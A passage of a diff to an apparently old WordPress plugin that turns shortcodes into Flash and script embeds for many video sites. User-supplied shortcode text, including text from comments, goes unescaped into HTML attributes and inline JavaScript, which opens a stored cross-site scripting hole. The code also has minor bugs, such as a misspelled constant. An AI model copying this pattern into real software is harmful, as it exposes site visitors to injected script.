+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", FUNNYORDIE_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", FUNNYORDIE_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", FUNNYORDIE_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function funnyordie_plugin($content)
+{
+	return (preg_replace_callback(FUNNYORDIE_REGEXP, 'funnyordie_plugin_callback', $content));
+}
+
+add_filter('the_content', 'funnyordie_plugin');
+add_filter('the_content_rss', 'funnyordie_plugin');
+add_filter('comment_text', 'funnyordie_plugin');
+
+
+// Trilulilu
+
+define("TRILULILU_WIDTH", 448); // default width
+define("TRILULILU_HEIGHT", 386); // default height
+define("TRILULILU_REGEXP", "/\[trilulilu ([[:print:]]+)\]/");
+define("TRILULILU_TARGET", "<script type=\"text/javascript\" language=\"javascript\" src=\"http://www.trilulilu.ro/embed-video/keskifa/###URL###\"></script><script type=\"text/javascript\" language=\"javascript\">show_###URL###(###WIDTH###, ###HEIGHT###);</script>");
+
+function trilulilu_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = TRILULILU_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", TRILULILU_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", TRILULILU_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", TRILULILU_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", TRILULILU_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function trilulilu_plugin($content)
+{
+	return (preg_replace_callback(TRILULILU_REGEXP, 'trilulilu_plugin_callback', $content));
+}
+
+add_filter('the_content', 'trilulilu_plugin');
+add_filter('the_content_rss', 'trilulilu_plugin');
+add_filter('comment_text', 'trilulilu_plugin');
+
+
+// d1g.com
+
+define("D1G_WIDTH", 400); // default width
+define("D1G_HEIGHT", 300); // default height
+define("D1G_REGEXP", "/\[d1g ([[:print:]]+)\]/");
+define("D1G_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param value=\"#000000\" name=\"bgcolor\"><param name=\"movie\" value=\"http://www.d1g.com/swf/embedded_video_player.swf?id=2378&usefullscreen=false&file=http://www.d1g.com/video/play_video/###URL###&autostart=false&overstretch=false&repeat=false&shuffle=false\"></param><embed src=\"http://www.d1g.com/swf/embedded_video_player.swf?id=2378&file=http://www.d1g.com/video/play_video/###URL###&usefullscreen=false&autostart=false&overstretch=false&repeat=false&shuffle=false\" type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\" bgcolor=\"#000000\"></embed></object>");
+
+function d1g_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = D1G_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", D1G_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", D1G_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", D1G_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", D1G_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function d1g_plugin($content)
+{
+	return (preg_replace_callback(D1G_REGEXP, 'd1g_plugin_callback', $content));
+}
+
+add_filter('the_content', 'd1g_plugin');
+add_filter('the_content_rss', 'd1g_plugin');
+add_filter('comment_text', 'd1g_plugin');
+							
+
+// ReelzChannel
+
+define("REELZCHANNEL_WIDTH", 480); // default width
+define("REELZCHANNEL_HEIGHT", 300); // default height
+define("REELZCHANNEL_REGEXP", "/\[reelzchannel ([[:print:]]+)\]/");
+define("REELZCHANNEL_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://cache.reelzchannel.com/assets/flash/syndicatedPlayer.swf\" /><param name=\"wmode\" value=\"transparent\" /><param name=\"allowScriptAccess\" value=\"always\"/><param name=\"flashvars\" value=\"clipid=###URL###\"><embed src=\"http://cache.reelzchannel.com/assets/flash/syndicatedPlayer.swf\" AllowScriptAccess=\"always\" width=\"###WIDTH###\" height=\"###HEIGHT###\" type=\"application/x-shockwave-flash\" mode=\"transparent\" flashvars=\"clipid=###URL###\"/></object>");
+
+function reelzchannel_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = REELZCHANNEL_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", REELZCHANNEL_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", REELZCHANNEL_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", REELZCHANNEL_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", REELZCHANNEL_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function reelzchannel_plugin($content)
+{
+	return (preg_replace_callback(REELZCHANNEL_REGEXP, 'reelzchannel_plugin_callback', $content));
+}
+
+add_filter('the_content', 'reelzchannel_plugin');
+add_filter('the_content_rss', 'reelzchannel_plugin');
+add_filter('comment_text', 'reelzchannel_plugin');
+
+
+// MEGAVIDEO
+
+define("MEGAVIDEO_WIDTH", 432); // default width
+define("MEGAVIDEO_HEIGHT", 351); // default height
+define("MEGAVIDEO_REGEXP", "/\[megavideo ([[:print:]]+)\]/");
+define("MEGAVIDEO_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://www.megavideo.com/v/###URL###.3920544471.0\"></param><param name=\"wmode\" value=\"transparent\"></param><embed src=\"http://www.megavideo.com/v/###URL###.3920544471.0\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object>");
+
+function megavideo_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = MEGAVIDEO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", MEGAVIDEO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", MEGAVIDEO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", MEGAVIDEO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", MEGAVIDEO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function megavideo_plugin($content)
+{
+	return (preg_replace_callback(MEGAVIDEO_REGEXP, 'megavideo_plugin_callback', $content));
+}
+
+add_filter('the_content', 'megavideo_plugin');
+add_filter('the_content_rss', 'megavideo_plugin');
+add_filter('comment_text', 'megavideo_plugin');
+
+// MSN Video (soapbox)
+
+define("MSN_WIDTH", 432); // default width
+define("MSN_HEIGHT", 364); // default height
+define("MSN_REGEXP", "/\[msn ([[:print:]]+)\]/");
+define("MSN_TARGET", "<embed src=\"http://images.video.msn.com/flash/soapbox1_1.swf\" quality=\"high\" width=\"###WIDTH###\" height=\"###HEIGHT###\" base=\"http://images.video.msn.com\" type=\"application/x-shockwave-flash\" allowFullScreen=\"true\" allowScriptAccess=\"always\" pluginspage=\"http://macromedia.com/go/getflashplayer\" flashvars=\"c=v&v=###URL###\"></embed>");
+
+function msn_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = MSN_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", MSN_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", MSN_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", MSN_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", MSN_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function msn_plugin($content)
+{
+	return (preg_replace_callback(MSN_REGEXP, 'msn_plugin_callback', $content));
+}
+
+add_filter('the_content', 'msn_plugin');
+add_filter('the_content_rss', 'msn_plugin');
+add_filter('comment_text', 'msn_plugin');
+
+
+// Youtube Playlist Code
+
+define("YTPLAYLIST_WIDTH", 470); // default width
+define("YTPLAYLIST_HEIGHT", 406); // default height
+define("YTPLAYLIST_REGEXP", "/\[youtubeplaylist ([[:print:]]+)\]/");
+define("YTPLAYLIST_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://de.youtube.com/p/###URL###\" /><param name=\"wmode\" value=\"transparent\" /><embed src=\"http://de.youtube.com/p/###URL###\" type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\" wmode=\"transparent\"></embed></object>
+");
+
+function ytplaylist_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = YTPLAYLIST_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", YTPLAYLIST_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", YTPLAYLIST_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", YTPLAYLIST_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", YTPLAYLIST_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function ytplaylist_plugin($content)
+{
+	return (preg_replace_callback(YTPLAYLIST_REGEXP, 'ytplaylist_plugin_callback', $content));
+}
+
+add_filter('the_content', 'ytplaylist_plugin',1);
+add_filter('the_content_rss', 'ytplaylist_plugin',1);
+add_filter('comment_text', 'ytplaylist_plugin');
+
+// mncast.com
+
+define("MNCAST_WIDTH", 520); // default width
+define("MNCAST_HEIGHT", 449); // default height
+define("MNCAST_REGEXP", "/\[mncast ([[:print:]]+)\]/");
+define("MNCAST_TARGET", "<embed pluginspage=\"http://www.macromedia.com/go/getflashplayer\" src=\"http://dory.mncast.com/mncHMovie.swf?movieID=###URL###&skinNum=1\" width=\"###WIDTH###\" height=\"###HEIGHT###\" type=\"application/x-shockwave-flash\"></embed>");
+
+function mncast_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = MNCAST_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", MNCAST_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", MNCAST_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", MNCAST_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", MNCAST_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function mncast_plugin($content)
+{
+	return (preg_replace_callback(MNCAST_REGEXP, 'mncast_plugin_callback', $content));
+}
+
+add_filter('the_content', 'mncast_plugin');
+add_filter('the_content_rss', 'mncast_plugin');
+add_filter('comment_text', 'mncast_plugin');
+
+// Hamburg1
+
+define("HH_WIDTH", 400); // default width
+define("HH_HEIGHT", 368); // default height
+define("HH_REGEXP", "/\[hamburg1 ([[:print:]]+)\]/");
+define("HH_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.hamburg1video.de/p/de/###URL###.html\" width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://www.hamburg1video.de/p/de/###URL###.html\" /><param name=\"wmode\" value=\"transparent\" /><embed src=\"http://www.hamburg1video.de/p/de/###URL###.html\" width=\"###WIDTH###\" height=\"###HEIGHT###\" wmode=\"transparent\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\"></embed></object>");
+
+function hh_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = HH_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", HH_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", HH_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", HH_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", HH_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function hh_plugin($content)
+{
+	return (preg_replace_callback(HH_REGEXP, 'hh_plugin_callback', $content));
+}
+
+add_filter('the_content', 'hh_plugin');
+add_filter('the_content_rss', 'hh_plugin');
+add_filter('comment_text', 'hh_plugin');
+
+
+
+// Collegehumor Code
+
+define("COLLEGEHUMOR_WIDTH", 480); // default width
+define("COLLEGEHUMOR_HEIGHT", 360); // default height
+define("COLLEGEHUMOR_REGEXP", "/\[collegehumor ([[:print:]]+)\]/");
+define("COLLEGEHUMOR_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=###URL###&fullscreen=1\" width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"allowfullscreen\" value=\"true\" /><param name=\"movie\" quality=\"best\" value=\"http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=###URL###&fullscreen=1\" /></object>");
+
+function collegehumor_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = COLLEGEHUMOR_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", COLLEGEHUMOR_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", COLLEGEHUMOR_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", COLLEGEHUMOR_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", COLLEGEHUMOR_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function collegehumor_plugin($content)
+{
+	return (preg_replace_callback(COLLEGEHUMOR_REGEXP, 'collegehumor_plugin_callback', $content));
+}
+
+add_filter('the_content', 'collegehumor_plugin');
+add_filter('the_content_rss', 'collegehumor_plugin');
+add_filter('comment_text', 'collegehumor_plugin');
+
+
+// Jumpcut Code
+
+define("JUMPCUT_WIDTH", 408); // default width
+define("JUMPCUT_HEIGHT", 324); // default height
+define("JUMPCUT_REGEXP", "/\[jumpcut ([[:print:]]+)\]/");
+define("JUMPCUT_TARGET", "<embed type=\"application/x-shockwave-flash\" src=\"http://jumpcut.com/media/flash/jump.swf?id=###URL###&asset_type=movie&asset_id=###URL###&eb=1\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed>");
+
+function jumpcut_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = JUMPCUT_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", JUMPCUT_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", JUMPCUT_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", JUMPCUT_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", JUMPCUT_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function jumpcut_plugin($content)
+{
+	return (preg_replace_callback(JUMPCUT_REGEXP, 'jumpcut_plugin_callback', $content));
+}
+
+add_filter('the_content', 'jumpcut_plugin');
+add_filter('the_content_rss', 'jumpcut_plugin');
+add_filter('comment_text', 'jumpcut_plugin');
+
+
+// ComedyCentral
+
+define("CC_WIDTH",  332);
+define("CC_HEIGHT", 316);
+define("CC_REGEXP", "/\[comedycentral ([[:print:]]+)\]/");
+define("CC_TARGET", "<embed src=\"http://www.comedycentral.com/sitewide/video_player/view/default/swf.jhtml\" flashvars=\"videoId=###URL###\" quality=\"high\" name=\"comedy_central_player\" allowscriptaccess=\"always\" allownetworking=\"external\" type=\"application/x-shockwave-flash\" height=\"".CC_HEIGHT."\" width=\"".CC_WIDTH."\"></embed>");
+
+function cc_plugin_callback($match) {
+	$output = CC_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function cc_plugin($content) {
+	return preg_replace_callback(CC_REGEXP, 'cc_plugin_callback', $content);
+}
+
+add_filter('the_content', 'cc_plugin');
+add_filter('the_content_rss', 'cc_plugin');
+add_filter('comment_text', 'cc_plugin');
+
+// Reason.tv
+
+define("REASON_REGEXP", "/\[reason ([[:print:]]+)\]/");
+define("REASON_TARGET", "<script type=\"text/javascript\" src=\"http://www.reason.tv/embed/video.php?id=###ID###\"></script>");
+
+function reason_plugin_callback($match) {
+	$output = REASON_TARGET;
+	$output = str_replace("###ID###", $match[1], $output);
+	return ($output);
+}
+
+function reason_plugin($content) {
+	return preg_replace_callback(REASON_REGEXP, 'reason_plugin_callback', $content);
+}
+
+add_filter('the_content', 'reason_plugin');
+add_filter('the_content_rss', 'reason_plugin');
+add_filter('comment_text', 'reason_plugin');
+
+// SlideShare Slides
+
+define("SS_WIDTH", 425);
+define("SS_HEIGHT", 348);
+define("SS_REGEXP", "/\[slideshare ([[:print:]]+)\]/");
+
+define("SS_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"http://static.slideshare.net/swf/ssplayer2.swf?doc=###ID###\" width=\"".SS_WIDTH."\" height=\"".SS_HEIGHT."\"><param name=\"movie\" value=\"http://static.slideshare.net/swf/ssplayer2.swf?doc=###ID###\" ></object>");
+
+function ss_plugin_callback($match){
+   $output = SS_TARGET;
+	$output = str_replace("###ID###", $match[1], $output);
+	return ($output);
+}
+
+function ss_plugin($content){
+	return (preg_replace_callback(SS_REGEXP, 'ss_plugin_callback', $content));
+}
+
+add_filter('the_content', 'ss_plugin');
+add_filter('the_content_rss', 'ss_plugin');
+add_filter('comment_text', 'ss_plugin');
+
+
+// Teachertube.com code
+
+define("TT_WIDTH", 425);
+define("TT_HEIGHT", 350);
+define("TT_REGEXP", "/\[teachertube ([[:print:]]+)\]/");
+define("TT_TARGET", "<embed src=\"http://www.teachertube.com/skin-p/flvplayer.swf\" allowfullscreen=\"true\" flashvars=\"&file=http://www.teachertube.com/flvideo/###tt_mu###.flv&image=http://www.teachertube.com/thumb/###tt_mu###.jpg&location=http://www.teachertube.com/skin-p/flvplayer.swf&logo=http://www.teachertube.com/images/greylogo.swf&frontcolor=0xffffff&backcolor=0x000000&lightcolor=0xFF0000&autostart=false&volume=80&overstretch=fit\" quality=\"high\" bgcolor=\"#000000\" wmode=\"transparent\" width=\"".TT_WIDTH."\" height=\"".TT_HEIGHT."\" loop=\"false\" align=\"middle\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"> </embed>");
+
+function tt_plugin_callback_mu($match)
+{
+//      $match[1] = str_replace("&w=425", "", $match[1]);
+	$output = TT_TARGET;
+	$output = str_replace("###tt_mu###", $match[1], $output);
+            $output = str_replace('"','',$output);
+	return ($output);
+}
+
+function tt_plugin_mu($content)
+{
+	return (preg_replace_callback(TT_REGEXP, 'tt_plugin_callback_mu', $content));
+}
+
+add_filter('the_content', 'tt_plugin_mu');
+add_filter('the_content_rss', 'tt_plugin_mu');
+add_filter('comment_text', 'tt_plugin_mu');
+
+
+// vsocial Code
+
+define("VSOCIAL_WIDTH", 400);
+define("VSOCIAL_HEIGHT", 410);
+define("VSOCIAL_REGEXP", "/\[vsocial ([[:print:]]+)\]/");
+define("VSOCIAL_TARGET", "<object width=\"".VSOCIAL_WIDTH."\" height=\"".VSOCIAL_HEIGHT."\"><embed src=\"http://static.vsocial.com/flash/ups.swf?d=###URL###&a=0\" type=\"application/x-shockwave-flash\" width=\"".VSOCIAL_WIDTH."\" height=\"".VSOCIAL_HEIGHT."\"></embed></object>");
+
+function vsocial_plugin_callback($match) {
+	$output = VSOCIAL_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function vsocial_plugin($content) {
+	return preg_replace_callback(VSOCIAL_REGEXP, 'vsocial_plugin_callback', $content);
+}
+
+add_filter('the_content', 'vsocial_plugin');
+add_filter('the_content_rss', 'vsocial_plugin');
+add_filter('comment_text', 'vsocial_plugin');
+
+
+// last.fm Code
+
+define("LASTFM_WIDTH", 340);
+define("LASTFM_HEIGHT", 289);
+define("LASTFM_REGEXP", "/\[lastfm ([[:print:]]+)\]/");
+define("LASTFM_TARGET", "<object width=\"".LASTFM_WIDTH."\" height=\"".LASTFM_HEIGHT."\"><embed src=\"http://cdn.last.fm/videoplayer/33/VideoPlayer.swf?=###URL###\" type=\"application/x-shockwave-flash\" width=\"".LASTFM_WIDTH."\" height=\"".LASTFM_HEIGHT."\" wmode=\"transparent\"></embed></object>");
+
+function lastfm_plugin_callback($match) {
+	$output = LASTFM_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function lastfm_plugin($content) {
+	return preg_replace_callback(LASTFM_REGEXP, 'lastfm_plugin_callback', $content);
+}
+
+add_filter('the_content', 'lastfm_plugin');
+add_filter('the_content_rss', 'lastfm_plugin');
+add_filter('comment_text', 'lastfm_plugin');
+
+// Sumo.tv Code
+
+
+define("SUMOTV_WIDTH", 400);
+define("SUMOTV_HEIGHT", 329);
+define("SUMOTV_REGEXP", "/\[sumotv ([[:print:]]+)\]/");
+define("SUMOTV_TARGET", "<object width=\"".SUMOTV_WIDTH."\" height=\"".SUMTOV_HEIGHT."\"><embed src=\"http://www.sumo.tv/embed.swf?file=###URL###.flv&autostart=false\" type=\"application/x-shockwave-flash\" width=\"".SUMOTV_WIDTH."\" height=\"".SUMOTV_HEIGHT."\" wmode=\"transparent\"></embed></object>");
+
+function sumotv_plugin_callback($match) {
+	$output = SUMOTV_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function sumotv_plugin($content) {
+	return preg_replace_callback(SUMOTV_REGEXP, 'sumotv_plugin_callback', $content);
+}
+
+add_filter('the_content', 'sumotv_plugin');
+add_filter('the_content_rss', 'sumotv_plugin');
+add_filter('comment_text', 'sumotv_plugin');
+
+
+
+// 123video.nl code
+
+define("VIDEONL_WIDTH", 420);
+define("VIDEONL_HEIGHT", 339);
+define("VIDEONL_REGEXP", "/\[123videonl ([[:print:]]+)\]/");
+define("VIDEONL_TARGET", "<object width=\"".VIDEONL_WIDTH."\" height=\"".VIDEONL_HEIGHT."\"><embed src=\"http://www.123video.nl/123video_share.swf?mediaSrc=###URL###\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"".VIDEONL_WIDTH."\" height=\"".VIDEONL_HEIGHT."\"></embed></object>");
+
+function videonl_plugin_callback($match)
+{
+        $output = VIDEONL_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function videonl_plugin($content)
+{
+        return (preg_replace_callback(VIDEONL_REGEXP, 'videonl_plugin_callback', $content));
+}
+
+add_filter('the_content', 'videonl_plugin');
+add_filter('the_content_rss', 'videonl_plugin');
+add_filter('comment_text', 'videonl_plugin');
+
+// Brightcove code
+
+define("BRIGHTCOVE_WIDTH", 510);
+define("BRIGHTCOVE_HEIGHT", 550);
+define("BRIGHTCOVE_REGEXP", "/\[brightcove ([[:print:]]+)\]/");
+define("BRIGHTCOVE_TARGET", "<embed src=\"http://c.brightcove.com/services/viewer/federated_f8/416542555\" bgcolor=\"#FFFFFF\" flashVars=\"videoId=###URL###&playerId=416542555&viewerSecureGatewayURL=https://console.brightcove.com/services/amfgateway&servicesURL=http://services.brightcove.com/services&cdnURL=http://admin.brightcove.com&domain=embed&autoStart=false&\" base=\"http://admin.brightcove.com\" name=\"flashObj\" width=\"".BRIGHTCOVE_WIDTH."\" height=\"".BRIGHTCOVE_HEIGHT."\" seamlesstabbing=\"false\" type=\"application/x-shockwave-flash\" swLiveConnect=\"true\" pluginspage=\"http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash\"></embed>");
+
+
+function brightcove_plugin_callback($match)
+{
+        $output = BRIGHTCOVE_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function brightcove_plugin($content)
+{
+        return (preg_replace_callback(BRIGHTCOVE_REGEXP, 'brightcove_plugin_callback', $content));
+}
+
+add_filter('the_content', 'brightcove_plugin');
+add_filter('the_content_rss', 'brightcove_plugin');
+add_filter('comment_text', 'brightcove_plugin');
+ 
+
+// Aniboom code
+
+define("ANIBOOM_WIDTH", 448);
+define("ANIBOOM_HEIGHT", 372);
+define("ANIBOOM_REGEXP", "/\[aniboom ([[:print:]]+)\]/");
+define("ANIBOOM_TARGET", "<object width=\"".ANIBOOM_WIDTH."\" height=\"".ANIBOOM_HEIGHT."\"><param name=\"movie\" value=\"window\"></param><embed src=\"http://api.aniboom.com/embedded.swf?videoar=###URL###\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"".ANIBOOM_WIDTH."\" height=\"".ANIBOOM_HEIGHT."\"></embed></object>");
+
+function aniboom_plugin_callback($match)
+{
+        $output = ANIBOOM_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function aniboom_plugin($content)
+{
+        return (preg_replace_callback(ANIBOOM_REGEXP, 'aniboom_plugin_callback', $content));
+}
+
+add_filter('the_content', 'aniboom_plugin');
+add_filter('the_rss', 'aniboom_plugin');
+add_filter('comment_text', 'aniboom_plugin');
+ 
+
+// Cellfish.com code
+
+define("CELLFISH_WIDTH", 420);
+define("CELLFISH_HEIGHT", 315);
+define("CELLFISH_REGEXP", "/\[cellfish ([[:print:]]+)\]/");
+define("CELLFISH_TARGET", "<object width=\"".CELLFISH_WIDTH."\" height=\"".CELLFISH_HEIGHT."\"><param name=\"vmode\" value=\"window\"></param><embed src=\"http://cellfish.com/static/swf/player8.swf?Id=###URL###\" type=\"application/x-shockwave-flash\" wmode=\"window\" width=\"".CELLFISH_WIDTH."\" height=\"".CELLFISH_HEIGHT."\"></embed></object>");
+
+function cellfish_plugin_callback($match)
+{
+        $output = CELLFISH_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function cellfish_plugin($content)
+{
+        return (preg_replace_callback(CELLFISH_REGEXP, 'cellfish_plugin_callback', $content));
+}
+
+add_filter('the_content', 'cellfish_plugin');
+add_filter('the_content_rss', 'cellfish_plugin');
+add_filter('comment_text', 'cellfish_plugin');
+ 
+
+// Tu.tv code
+
+define("TUTV_WIDTH", 425);
+define("TUTV_HEIGHT", 350);
+define("TUTV_REGEXP", "/\[tutv ([[:print:]]+)\]/");
+define("TUTV_TARGET", "<object width=\"".TUTV_WIDTH."\" height=\"".TUTV_HEIGHT."\"><param name=\"vmode\" value=\"transparent\"></param><embed src=\"http://www.tu.tv/tutvweb.swf?kpt=###URL###\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"".TUTV_WIDTH."\" height=\"".TUTV_HEIGHT."\"></embed></object>");
+
+function tutv_plugin_callback($match)
+{
+        $output = TUTV_TARGET;
+        $output = str_replace("###URL###", $match[1], $output);
+        return ($output);
+}
+
+function tutv_plugin($content)
+{
+        return (preg_replace_callback(TUTV_REGEXP, 'tutv_plugin_callback', $content));
+}
+
+add_filter('the_content', 'tutv_plugin');
+add_filter('the_content_rss', 'tutv_plugin');
+add_filter('comment_text', 'tutv_plugin');
+ 
+
+// Yahoo! Video code
+
+define("YAHOO_WIDTH", 512);
+define("YAHOO_HEIGHT", 322);
+define("YAHOO_REGEXP", "/\[yahoo ([[:print:]]+)\]/");
